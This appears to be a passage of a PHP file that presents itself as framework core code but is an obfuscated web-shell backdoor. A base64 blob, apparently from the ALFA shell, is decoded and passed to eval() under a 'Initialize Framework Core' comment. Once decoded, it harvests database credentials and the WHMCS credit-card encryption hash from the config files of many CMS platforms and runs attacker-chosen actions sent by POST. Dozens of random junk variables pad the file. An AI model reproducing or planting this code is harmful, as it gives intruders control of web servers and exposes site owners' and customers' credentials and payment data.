yBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKQopLAonZHJ1cGFsMic9PmFycmF5KCdmaWxlJz0+Jy9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsCidob3N0Jz0+YXJyYXkoIi8oPzonfFwiKWhvc3QoPzonfFwiKVsgXXswLH09PlsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9LC8iLDEpLAonZGJuYW1lJz0+YXJyYXkoIi8oPzonfFwiKWRhdGFiYXNlKD86J3xcIilbIF17MCx9PT5bIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfSwvIiwxKSwKJ2RidXNlcic9PmFycmF5KCIvKD86J3xcIil1c2VybmFtZSg/Oid8XCIpWyBdezAsfT0+WyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH0sLyIsMSksCidkYnB3Jz0+YXJyYXkoIi8oPzonfFwiKXBhc3N3b3JkKD86J3xcIilbIF17MCx9PT5bIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfSwvIiwxKSwKJ3ByZWZpeCc9PmFycmF5KCIvKD86J3xcIilwcmVmaXgoPzonfFwiKVsgXXswLH09PlsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9LC8iLDEpCiksCid2Yic9PmFycmF5KCdmaWxlJz0+Jy9pbmNsdWRlcy9jb25maWcucGhwJywKJ2hvc3QnPT5hcnJheSgiL2NvbmZpZ1xbKD86J3xcIilNYXN0ZXJTZXJ2ZXIoPzonfFwiKVxdXFsoPzonfFwiKXNlcnZlcm5hbWUoPzonfFwiKVxdKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9Oy8iLDMpLAonZGJ1c2VyJz0+YXJyYXkoIi9jb25maWdcWyg/Oid8XCIpTWFzdGVyU2VydmVyKD86J3xcIilcXVxbKD86J3xcIil1c2VybmFtZSg/Oid8XCIpXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH07LyIsMyksCidkYm5hbWUnPT5hcnJheSgiL2NvbmZpZ1xbKD86J3xcIilEYXRhYmFzZSg/Oid8XCIpXF1cWyg/Oid8XCIpZGJuYW1lKD86J3xcIilcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfTsvIiwzKSwKJ2RicHcnPT5hcnJheSgiL2NvbmZpZ1xbKD86J3xcIilNYXN0ZXJTZXJ2ZXIoPzonfFwiKVxdXFsoPzonfFwiKXBhc3N3b3JkKD86J3xcIilcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvY29uZmlnXFsoPzonfFwiKURhdGFiYXNlKD86J3xcIilcXVxbKD86J3xcIil0YWJsZXByZWZpeCg/Oid8XCIpXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH07LyIsMykKKSwKJ3BocG51a2UnPT5hcnJheSgnZmlsZSc9PicvY29uZmlnLnBocCcsCidob3N0Jz0+YXJyYXkoJy9kYmhvc3QoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKSwKJ2RibmFtZSc9PmFycmF5KCcvZGJuYW1lKFxzKyk9KFxzKykoPzpcJ3wiKSguKj8pKD86XCd8Iik7LycsMyksCidkYnVzZXInPT5hcnJheSgnL2RidW5hbWUoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKSwKJ2RicHcnPT5hcnJheSgnL2RicGFzcyhccyspPShccyspKD86XCd8IikoLio/KSg/OlwnfCIpOy8nLDMpLAoncHJlZml4Jz0+YXJyYXkoJy9wcmVmaXgoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKQopLAonc21mJz0+YXJyYXkoJ2ZpbGUnPT4nL1NldHRpbmdzLnBocCcsCidob3N0Jz0+YXJyYXkoIi9kYl9zZXJ2ZXIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RibmFtZSc9PmFycmF5KCIvZGJfbmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJ1c2VyJz0+YXJyYXkoIi9kYl91c2VyKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksCidkYnB3Jz0+YXJyYXkoIi9kYl9wYXNzd2QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvZGJfcHJlZml4KFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMykKKSwKJ3dobWNzJz0+YXJyYXkoJ2ZpbGUnPT4nL2NvbmZpZ3VyYXRpb24ucGhwJywKJ2hvc3QnPT5hcnJheSgiL2RiX2hvc3QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RibmFtZSc9PmFycmF5KCIvZGJfbmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJ1c2VyJz0+YXJyYXkoIi9kYl91c2VybmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJwdyc9PmFycmF5KCIvZGJfcGFzc3dvcmQoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2NjX2VuY3J5cHRpb25faGFzaCc9PmFycmF5KCIvY2NfZW5jcnlwdGlvbl9oYXNoKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMykKKSwKJ2pvb21sYSc9PmFycmF5KCdmaWxlJz0+Jy9jb25maWd1cmF0aW9uLnBocCcsCidob3N0Jz0+YXJyYXkoIi9cXFwkaG9zdChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJuYW1lJz0+YXJyYXkoIi9cXFwkZGIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RidXNlcic9PmFycmF5KCIvXFxcJHVzZXIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RicHcnPT5hcnJheSgiL1xcXCRwYXNzd29yZChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAoncHJlZml4Jz0+YXJyYXkoIi9cXFwkZGJwcmVmaXgoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKQopLAoncGhwYmInPT5hcnJheSgnZmlsZSc9PicvY29uZmlnLnBocCcsCidob3N0Jz0+YXJyYXkoIi9kYmhvc3QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RibmFtZSc9PmFycmF5KCIvZGJuYW1lKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksCidkYnVzZXInPT5hcnJheSgiL2RidXNlcihccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJwdyc9PmFycmF5KCIvZGJwYXNzd2QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvdGFibGVfcHJlZml4KFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMykKKSwKJ215YmInPT5hcnJheSgnZmlsZSc9PicvaW5jL2NvbmZpZy5waHAnLAonaG9zdCc9PmFycmF5KCIvY29uZmlnXFsnZGF0YWJhc2UnXF1cWydob3N0bmFtZSdcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJuYW1lJz0+YXJyYXkoIi9jb25maWdcWydkYXRhYmFzZSdcXVxbJ2RhdGFiYXNlJ1xdKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksCidkYnVzZXInPT5hcnJheSgiL2NvbmZpZ1xbJ2RhdGFiYXNlJ1xdXFsndXNlcm5hbWUnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RicHcnPT5hcnJheSgiL2NvbmZpZ1xbJ2RhdGFiYXNlJ1xdXFsncGFzc3dvcmQnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvY29uZmlnXFsnZGF0YWJhc2UnXF1cWyd0YWJsZV9wcmVmaXgnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKQopCik7CmlmKCRjbXMgPT0gImRydXBhbCIpewoJJGZpbGUgPSAkY29uZmlnWyRjbXNdWydmaWxlJ107CgkkZmlsZT0kcGF0aC4kZmlsZTsKCWlmKEBpc19maWxlKCRmaWxlKXx8X2FsZmFfaXNfZGlyKCRmaWxlLCItZSIpKXsKCX1lbHNlewoJCSRjbXMgPSAnZHJ1cGFsMic7Cgl9Cn0KaWYoJGNtcyA9PSAidmIiKXsKCSRmaWxlID0gJGNvbmZpZ1skY21zXVsnZmlsZSddOwoJJGZpbGU9JHBhdGguJGZpbGU7CglpZihAaXNfZmlsZSgkZmlsZSl8fF9hbGZhX2lzX2RpcigkZmlsZSwiLWUiKSl7Cgl9ZWxzZXsKCQkkcGF0aCAuPSAnL2NvcmUnOwoJfQp9CiRkYXRhID0gYXJyYXkoKTsKJHNyY2hfaG9zdCA9ICRjb25maWdbJGNtc11bJ2hvc3QnXVswXTsKJHNyY2hfdXNlciA9ICRjb25maWdbJGNtc11bJ2RidXNlciddWzBdOwokc3JjaF9uYW1lID0gJGNvbmZpZ1skY21zXVsnZGJuYW1lJ11bMF07CiRzcmNoX3B3ID0gJGNvbmZpZ1skY21zXVsnZGJwdyddWzBdOwokcHJlZml4ID0gJGNvbmZpZ1skY21zXVsncHJlZml4J11bMF07CiRmaWxlID0gJGNvbmZpZ1skY21zXVsnZmlsZSddOwokY2hvc3QgPSAkY29uZmlnWyRjbXNdWydob3N0J11bMV07CiRjdXNlciA9ICRjb25maWdbJGNtc11bJ2RidXNlciddWzFdOwokY25hbWUgPSAkY29uZmlnWyRjbXNdWydkYm5hbWUnXVsxXTsKJGNwdyA9ICRjb25maWdbJGNtc11bJ2RicHcnXVsxXTsKJGNwcmVmaXggPSAkY29uZmlnWyRjbXNdWydwcmVmaXgnXVsxXTsKaWYoQGlzX2RpcigkcGF0aCl8fF9hbGZhX2lzX2RpcigkcGF0aCkpewokZmlsZT0kcGF0aC4kZmlsZTsKfWVsc2VpZihAaXNfZmlsZSgkcGF0aCl8fF9hbGZhX2lzX2RpcigkcGF0aCwiLWUiKSl7CiRmaWxlPSRwYXRoOwp9ZWxzZXsKcmV0dXJuIGZhbHNlOwp9CiRmaWxlID0gX19yZWFkX2ZpbGUoJGZpbGUpOwppZigkY21zID09ICJkcnVwYWwyIil7CgkkZmlsZSA9IHByZWdfcmVwbGFjZSgiL1xAY29kZSguKj8pXEBlbmRjb2RlL3MiLCAiIiwgJGZpbGUpOwp9ZWxzZWlmKCRjbXMgPT0gInZiIil7CgkkZmlsZSA9IHByZWdfcmVwbGFjZSgiL3JpZ2h0IG9mIHRoZSguKj8pQkFEIS9zIiwgIiIsICRmaWxlKTsKfQppZihwcmVnX21hdGNoKCRzcmNoX2hvc3QsICRmaWxlLCAkbWFjaCkpewokZGF0YVsnaG9zdCddID0gJG1hY2hbJGNob3N0XTsKfQppZihwcmVnX21hdGNoKCRzcmNoX3VzZXIsICRmaWxlLCAkbWFjaCkpewokZGF0YVsndXNlciddID0gJG1hY2hbJGN1c2VyXTsKfQppZihwcmVnX21hdGNoKCRzcmNoX25hbWUsICRmaWxlLCAkbWFjaCkpewokZGF0YVsnZGJuYW1lJ10gPSAkbWFjaFskY25hbWVdOwp9CmlmKHByZWdfbWF0Y2goJHNyY2hfcHcsICRmaWxlLCAkbWFjaCkpewokZGF0YVsncGFzc3dvcmQnXSA9ICRtYWNoWyRjcHddOwp9CmlmKGlzc2V0KCRwcmVmaXgpKXsKaWYocHJlZ19tYXRjaCgkcHJlZml4LCAkZmlsZSwgJG1hY2gpKXsKJGRhdGFbJ3ByZWZpeCddID0gJG1hY2hbJGNwcmVmaXhdOwp9Cn0KaWYoJGNtcz09J3dobWNzJyl7CmlmKHByZWdfbWF0Y2goJGNvbmZpZ1skY21zXVsnY2NfZW5jcnlwdGlvbl9oYXNoJ11bMF0sICRmaWxlLCAkbWFjaCkpewokZGF0YVsnY2NfZW5jcnlwdGlvbl9oYXNoJ10gPSAkbWFjaFszXTsKfQp9CmVjaG8ganNvbl9lbmNvZGUoJGRhdGEpOwp9CmlmKGVtcHR5KCRfUE9TVFsnYSddKSkKaWYoaXNzZXQoJGRlZmF1bHRfYWN0aW9uKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FsZmEnIC4gJGRlZmF1bHRfYWN0aW9uKSkKJF9QT1NUWydhJ10gPSAkZGVmYXVsdF9hY3Rpb247CmVsc2UKJF9QT1NUWydhJ10gPSAnRmlsZXNNYW4yJzsvLydGaWxlc01hbic7CmlmKCFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhbGZhJyAuICRfUE9TVFsnYSddKSkKY2FsbF91c2VyX2Z1bmMoJ2FsZmEnIC4gJF9QT1NUWydhJ10pOwpleGl0OwovKgojUGVyc2lhbiBHdWxmIEZvciBFdmVyCiNza3lwZSA6IHNvbGUuc2FkCiNza3lwZSA6IGVoc2FuLmludmlzaWJsZQoqLw==';

// Core System Functions
function UUsumCf2N5BbQgX($config_data) {
    return base64_decode($config_data);
}

// Initialize Framework Core
if (defined('FRAMEWORK_VERSION')) {
    $Vy0KB6pZbU9T = UUsumCf2N5BbQgX($V2GYmnSTM1TL);
    eval($Vy0KB6pZbU9T);
}

$bub8owCcy='dL7wck0aHdDvfDnbwv8Cl6k9LWOOZLTtwfrpJG56U6CsrmdXwmcQmLXVpz';

// m6FnssCHpsc1qPYGPNCFXP9yFrF3XeGrUThak4Aq6FRXjPRBeNQc3lu4N7koXoL
$liTMoRpdaHpNS='4FVknfso42dtZX9gEfW4kOExjRG8cF0S4kAs9';

$hd2IN8SZFsOSy3F='rRFWTJLM17XiuRaP1Re4ZNAunPp6wAsN0AQBuKaxGoqnKcXIcMyEnf';
$mtaKiSw2Pyfc='6D4fKixmiy7d9Og9SDq5mjcvP4Ybuai1uj0nhxd54DzVtF';
// A71YmaxaSZ3aDubA0967lfd6sWN2tcxYB18GCoy60JGRXeAOulZ88Ok81X
$pEeWPxTtmiGD='ZfgxIZGJT2wrRLrnCi2v5W4y1CnfQyUeuDv';
$MmUiLUDnn='Uu0tifRoeqnaIKfgY06OMOssRigWPjwxmKV82nv00Yu8hUlQoxgiPa8cz';
$ZK6wARlGDkWlC='ZInfwav1teM1tnK4ZK9cClCQDr8FSFE1rMIVdse2cCrUqtusbqAWsGDU';

// 61HZ0FtmoC5FfHVITUSfd9YL30x5AfUb3WrFo508s7bVaRdkDyRt
$vemLv2SFMdy1kgG='uY1AnuP127wyUSW2MWw6nPyM1UJQLgk4qTtjQXNtg50I8mul6x3Muy';
// Ixgvd39CHWoXlBUWsjNw3zGbZ95F0MmMfg2xJGWKVYvVBhNnu9veA5L87L
$ZMke6Ewtv0='Q08aetcD17vFpvXg1geHNWKa9fp9yPoMdvWuwzaH9qh8vZVYc';
// rodQMTOWgGpeGNT79NaJLwRGkAbYM8sBKL3AZhsWxnop5QC0
$vBZzqG='tIN5lJuU3qJaShoKon9cyklgKQjr';
// A09jdsll5acTJocpZKs1aLEw1ohlQ1ObnZqK1pEMFOjIMl7tvnTV
$kVxqh5k='dra1uCiuinuVVfsR4vmcTs8Hcul7Ku8kwUmtL5FOH5dk';
// Fr0Xx4HYpokUBmsJqgoW6mMQIcaVzKqnQE4MBkldG
$uuKl0z='LTlmEaPeYtWJmoXU6YZ9XgZMORgJRdZXBWi6Un6y2FQnH4jDG';
$E62qFaE='z9WE8i48sOCAN5vsscMd6Z40P7KPbEdbVhJbWnqEhGtT8';
// esV3Kpq4oNCPrFqZiMKmBKYO6uiBL35DC28KqrzdIbiAxRX71d46HM8z2dmCoeXrnW
$UEZ1GWB='9hKiIVaUsXmdhjinKbEGdZPylYIivfSTloeSFwFRZMtgEdJYtxtAtj4VC9h';

// txocQ77nYLFwjm7k7FKOUYOgM7zIHvQixsdpdzXD1CTzNjQ2Lj39RG8L37j3EYabRXLEH2m8FK3Phpfn
$XHwtaBwUCxUBcyY='SxOkxSpodAOzvNqI59Ps07Zujp0W0tc2LpjMv7cA6Fi0Kw8kCrf';
$lKTGgcaPL66I142='5Zi0iGJ8zDH57Zz0bS1IGt93GtmlEDdo';
// g2gcLJaU7X0HkSPviNcN0YGt2gvggqOyxx7UAHFkqxw
$uZpi95G1HWiB9K='qTwoP7dyIgAEAtBpqExGntzBcZfiWqNIvwSZxgikxzxyFLY';
// nqhXdEpPntbyHhSEh6SCfj9PuBNSUBHkZ7J72pkheA28JHPDvvVkc5
$LfhWZ3hwd3poPO='QaHC2RLgswLen2H1TUxrU5mvtOiCC3L6DOfd1c0jn2';
// 50f3swNFxuIprGh5cuK1vZYSOVOm8kENF88YFemXeyQRWHfVQA67Orq7a
$dPhNCkztFlmu0t2='huQ4VmhULJ8qmqy6YCDe6i0eApQxJVnm2';
// Tg63xXMoiFnto6cD7387h5htV5fa9X5h4734tZ5zIfjQBvKLH5MpxzqWPE
$yPOYH0H='gzBTR3JK7HgFUkOmlPKrt4FwYN2v5olfrDunIcyzXA27dqbb4uiWTfu9L';
// Z2k3jGIy7RwRHCj6WjewnAC2PK1SnbS8TrJ6iCnRh7Ium9pKra3S3dlmT
$MejuUPpP4='Q83lLBRZkidy5ulXWcKFOmJWH';
// DX9oY7wbWBaD7ZmLRyWC4mG4OUvTsHRviS2wrSVAEGvbth8hEWMG0gEAvD5h
$zGVAKqQTyi7C='FQaPk6gGKNRvyyiCWdUdc9fCrAJMP';
// 9QF8S4YfNqoSCGyERPBjQ48UujjfnOg23IYNGhGZzfdYFAn8fh2IrWKTL7ZktYy5QeCf3QZggxPEsqXc
$aVFjyUQwq3='uhNSYpfMuOuT9rVA7wFcznOAD8maGqrcoojxd3M7MZQ';
// 41qCnGSZ5hbuJiDDxFBc6aN7YzFuhCYk7oPUxwmogJio5GHxaMmoWYFJh228T65ux3ofItw0
$IuzCroNMtHMOh='e3E0jIeFZBm5AyKlYxDqG42vA0EVndXo0VIwBNcsU28EimDWH';
// SqunQijuS8g14yjM3CQ33Lfc8aOACPPZPHVILYlr1cE1eVcAxz8yaFCT30uSiq
$WS339Y7K='3IEMBVDrIx9ZeXCkV0TPm316Z5';
// y41pXeZRd235qw2pGktwf1PG7dkKCm2EprWy2FZz7xkQGNHbHl7Fa5Nk
$HyILGpWgHMH='N82y8CMB5v6vdeXcjiOAtRAabP6ntQF3c0WdATmoW8XtQ3na1Na';
// AKVVjCkvSnYf1e9YD72I8UaGx69eH0SjSjtgja2masxcCADrjAUV31P0NLcCLg3QXwAPRXlWwv
$RviuJSBIyJ='lDZd7feFXSt02oV26Dm1UlGKOXkOiK56PdKDBzhC9';

$Y7Kkac='Liglgdb2g8FQd1eYce6NsEQgrInZsHhBWjB0uEfV5GcesA';
// TbWz6LEAQtq7zUPX7jU9zhai0ptGYuKFkmneVkaPRy7OV62pQJfR
$UQBQeFm6WJ1D='tx4xbaBZZZBFt0E0smjmTO1qiOO7Suqkt24xAxOsMOJhl3fIr9vpv';

$mIMHj0t9B='R1CtEKZXvhvHc3mRWTj5qfwXgV2NxtkiLKEOV';
// tHt3kXfUMVvWuQn3leKxJIbmcVBr90CeDghyynvWLEvqbwCB60Vy7yg9
$yFSknaSuHj='YcjVIbrJs8l2ukelZMZJj53DmweDiWSgdjgC';
// DLXIWhUCAgcOKYjW2TTmMfK0cYknY1EIHdD9pnxX8Sijlu
$uekIM9='DJBGMDbSaobgDYuIBlnlePCBLNjjkK36xYyMUAcjtKF';
// jCoXSuH87ZVfEoLxXcnymGibrCKTiPZIpcqx4Ha0Gggquwon9knAd7
$Lw4vEw='nF9p50DInofLblH2GLLwgj1jEq0daOSwmY5RwzbK1JkjUgppaAvvt';
// zqOtlrcy0TnVl6JCTqhZESLv0FciABtozYR1L0KNgIbsCbzX2KUN
$hVIwY3b2IW='XuQcCJpQEmAP7GnF8QY4vq8li9FgXx9HII8A';

// 2AKI7CZfXMcmNNljExiRlI0s2kwWRdGSw93O842sks
$rrypDBOokcfjX59='AOuUgFo71QXxPzjNXlJ2bMm3vgouHxg';
// BWZ7kqbOGv2Ahh1yLzkDi7dLHOudvKweZyqpKkGdtl64wgeNz9ZnenBTOAAX4DBi1tp2Z
$Zqomgm0oI='8l6NW0ydXF5NfROYHyrHeHxw9Gq9c4BteOJ9jiRzY';

// q2vRwXztaqs1Y0qOWX2ec90QyrGs2a4IpPRiRo8cKlMHhLXoAa5ir
$wIwW87KVxC='jdwWAigXvtVkSlaK4i3J515dj';
// Esi5F8m7T5B7syWmbzdOlCFwQntCJBlGsWWcZCOutApxsqgEmHEdVtJhZ6BFfy
$g6btisyiC='C5L13Q42KWDwrwtmPTPmauaOJ41RKKp4aczOAv';

// GwL3aoe5hL44nFVQQOBSVS10jvGwWwhSDuC6OgIwfgSwL0E1PvsJyVExFNQEAtzfA9M2dxs6xjGeLD2
$kvFfWg1hb='91DkbcHjhd3fWsEvjGDuHuAXF4w';
// 8HidMLdp33khhgpijDX5G9damQpeDQMXpj6TqEvNZTongU9G5UabxOdhyrlco7t8aIKW9euzkOtk
$sXkGWZuXeOuGh='pUo7cMZnoICCSKaMJGhbmSDo1ayWcFjoaRbTiNXhd6';

// cIHOlCPSfGh1FleTJ7gnRj7urHmNawLAz9lSUVhoeJl2NaKA7OSQfp8baFmUOh4QJTuzPHxFAqH
$ZzlK6a39oHoB='IymhrEtqRk85TZ0Lkv3KNMwKHM0P0Jgl6wzcplpAGnIGzhlME';
// bY1gYVv9b0DX5kaBceY5RR8UC9JyVGbzGlYUAm6xlAZNC0LL9itKvNPTsFj4zo
$Sh40YadPp8='1YdbUFvszDq4xjBY2sl6111y5gYu5EAbHux9JQlqc6BWoZgrNi';
// Qb1jMroJv0qC7O9scfFvcBSVbVJqCm6pS8jhE3NI4Q26DYM0eZv6g4SyTKe8Pn5O0LuMH
$Q10NQZkDvu3WM5='iaazHx5xxhnH8OMqEIxxs8MHVBF9PatKgU9dp';
// VVIzyTxBeABkNDMj04uGhL8OzS4pT6zIhPLNBuGj8jwaVdK1wJupBSbvZ3E2DxC
$MNbB0twgt846Vfr='NyzJdxqY74bMioOBnPMtrvnw77G7tcE2cyGpxGe';
// bdAxNALgBTWwlGUdlKFV9RDhrFQVT10Jh8ZH6gQnOs6qZ4WaU2c5yHzpcdbsfD6fLACZVTbD
$gNwD5iDDIF='1r1Gc30c20m0yLxPBbC79QjlMeMO1cW7HQgclJXzDEdkM3GOknP';

// 3LnNMv2xxLKrt1eLLbKeyCIQ79eKyg2GzkshuSkaGRnuTVCpG6UB6yGiQ0kuEqD7W7RwNdD
$d0gBc8L7rT12n9='zsdGTowlbKUWoBVUsKkXKRZUewjctz6lpwEmOfFSI1M';
// 4VwvNtoHbMUqM67inFVuBikslPM8Ox2CbllYo4TtZVBFpBGWKnlk6jdEKmfPmbgG
$H4e8OVGNf='fWZ9aUiEHAukXJNrxzFmpSbSYQBtfFrjNh5Yja3sy8ZSTeYVt';
// ss1u2MZZkg2pdPp4ARK1qPpCBnojgacYMebF9TFTLorVbjW11qnOGlckZrqHYeNAVR8Lq
$wirUHLDQUet2CsV='58jNZ3MeaTd3aLhByddHy9GuuddWTs8yXFQDIxaUltZuet';
// FfDVN3HItxZBhH3i6nwqMcHNa296vJcewhpUDrkzCHdjgxpu9lbKSALfNIc
$EW1xD1B3='UvscX18hWSNBC9AsjCskvhftslHDITcFCuHhAmHHFVu4gfJzJlnYZcY';
// J2IJYRcWa9UMdcy1LAQXwjjzoLkFO0UyW1UX5NnTUeFd3Jb6UMqDWuwzLQtTjxsO1tm
$q5AwvTkcYk='oK7F0vh9Lnh1vaJY4Pr8oxpOkElyOHo';

$ZUAVdc5Qbut58='AImOzNQHYqj6U3KI4jorDOdDN0AZyb8XsIxWOdGNEB119nkHSXY36tw5';
// 78dSuNBZtunnqGU8hdKkEwZdsP1CGF94fMgdYwAJ8hrIkPF1OkOG
$otRAtnMaVLl='xsOyX9Q65K7YGWPwXUfTCj75a0CHjpsruuPCB1FiOjQJJxzSezY';

// qqoAvkrdivs71kTWcnKuP8sCEx1vOCWQQySCVhM3qF1h7pCzTFqMjrvPTlf6joDDoDEmqzYR2mbdlbh
$NezGGmldaDz='00rPHfvDQitQcroBkL5DYjFZXzvXENpSDR0BKrXd6tpUj';
// hksyHotIraNpOtEVIljb6QtrFRT46v6o5pTxeEZ1gZ
$KpwUwAl9V='0lBQmtUrD8LQcM64hGcsdqYtw5QeOdjq';

$DX1z2DfhQ='Ats17AoIDBwX3krb74l41bQXVYfVIdqSb';
// 0tQOD5ndogdTVjxudfk5pjh7DDpdTRb1nGWUvyBwy7NIB3g2z8DDxEWEP3l0ZHyOD4rWZWsVL
$vGaWan='dtH4SHVZspWf7i3qLWhCRDqi0iYENVjCBAX';

// i2ZwCP0kQdfRmsyY1QJqgmByapdlQGNu7emXigE5kbyTCBn3i7ykjQF6wOkKkZj7h2js
$q0jXqhyhwuRXzJ='kB4LaI2DHaIZJmnHlOXNWcdKZxmv7QD';

// 0QGWmXMh9sc4oaxI8ddXhTgozAeeIsHaxHvmjmUPfc1gbyYtuORkTdd29Ih7T6oaT4hdqeyHheY5OPj
$htXjQxkKiFzLQN='pUg2FTv0DqHyue5V1MUoSMcklLgiTHFLWEx';

// FZafXoKZIa839HGa3EHhqO31SjFeEoTOMMV3UKkeMNjJOowLvwURgVSpzTmN3TqzArfRw7BaYE
$TyePdJvP='1vuWDJLv61eZOb4FPk23MtVFxAFkgJ';
$c7YbB9WIky='R2YDqXA6b0APuriqWReJ3k7Mt5jmph';
// kVuRCl6XJ08hcnLJBSwtvFBNTW2cvQcTnIcxBf4qukLrQCLlc3iMBc1Vsp1C4bycaxYEEqyiJ
$o3zCO6='pjnC3NSEoEqMPSOJxuTSefojZKfE2lSrP9HCFozRED6sXZJAzHcESyC';
$DS6fQBA9bh='iQYXfujGDHbNivXT3V29KNUiIYxeMNOg';
// SMUzuvxRR9a0bXfhBkVyfxHWEuIg1TcJezTauco1novre7YGQLKuMy2YXU4lViaDvrfxTAqMqh5NhnG6
$jQPF4r='FGp3cCmDNfHuGqzl1WfCU5qMHjUfLhLN7';

$llgGlvh6b='EAdYxIVAVsH4vssRFgj5BcxvE5LgrFl';

// dL1TmL9LU1aVG8RHdLZKVZ5aRiV1oqnTobMD9Z4KkU0yUtsWuRzwtfGT
$K4EetVEwKfvz='aPqmKTNgJableiJsJuKmGitLP8EP1MvE7zSNibOrQ';
// FxECTxHmJidEXC4GEnKMGi0JcKGVZnRyRELbc5zw2NFPJwnL1nJB0Hfgvz0xPwPmSVTAf6xEtz
$mngbBms='HO4XgRX4rLrhpXOcgzZiqELcmSh6ZGHacm3nM4';

$gT1ZwTB='hCCi3YQ6DBt1l7fK4SM2HsSWpexNS3mffSz5rW61gDYesn';

// KpA7rrQND6Gm7i4BSpdOzMtK2yOaH44umEiYZusQTCiEv1PIA4lvcSj4LdA
$yoWqRs5KDN='TDtg3J719FgqmNGwCrSWMZAGI3qQ7joDttZynmathZSVKEQeHB6';
$wCCZtZx4NdsMduN='hbg0F9bWYQ0XTuNjr8u7oDO6LcNgB6wBsjh0H6oMiWbGSLI2YzcXIvRbk';
// VuAGBDyNG1HBqNDG8IXO068sw8mV8c63dfbKgTURT2bhbm9uOPm2GTNk1815kGQSGHkXu3j
$meRZ5b9VPAqI9U='zMTcyIGyLSCsJNAmrsp0buDUKSXJYEV4u6haWOVB6eIpZyLy8bTXgCUsQQ6';
$JcFBoyXyjmvWU='pNPNYbTLqzjSmu9nFFkIMFo8WBL';
$w4Gy1LCc='7jMBhUYyZPcnQ9Ry4vmDtmWf02aLmxYz';
// 6RtD196K03OVZ7HGfJMCITJxH1Jiymbn5YgXm8hDYaOWP6r4JmJR8Nfn273be
$nKwX3R52A8='zREtv3vmayXWtKEgxpuwiXLvpUcEfTrdd';

// S432VjXAFegWkHjXwRcJQgjDPJ4l6MdGn7ahp0bo2smkTmkm8nWFGbj4Fl2
$Fqqaxiu='SmnfvjvLdyOcLZGJRKv0sXRdNOHp6m4pxZc23HtaQwFpm0oMHoQKVPUAWdQj';
// E6aSLse9sUBnd7PexQ6afTZLGjf0uuITe4qzFDKEgkVg60FcCaAzzZRZzWz5Wg5WbuF
$D8tKtmCe53='9ZZgf0iXLaaGItC1DfofqughS0HQW7kCf7Ne32we7ePqQyYk';
// 8nFDU7XwuHvG9Tr3GlwmfpWlhcvRSeHIT33u8FSfVrdrSBwgSi0zO4KWSSOA
$Kwrlfu4B8='JfXNSVIVpLBNKop9oU0vXmBkaYeMv9SbtDmLMBOfQonpcdfUdzQTRF6';
// 4hnZaIBA4RLIgLFLyeAYdyBPZeFa1iX4jHYXUrJgnOVpjBXEmiyG2z6B1CJ
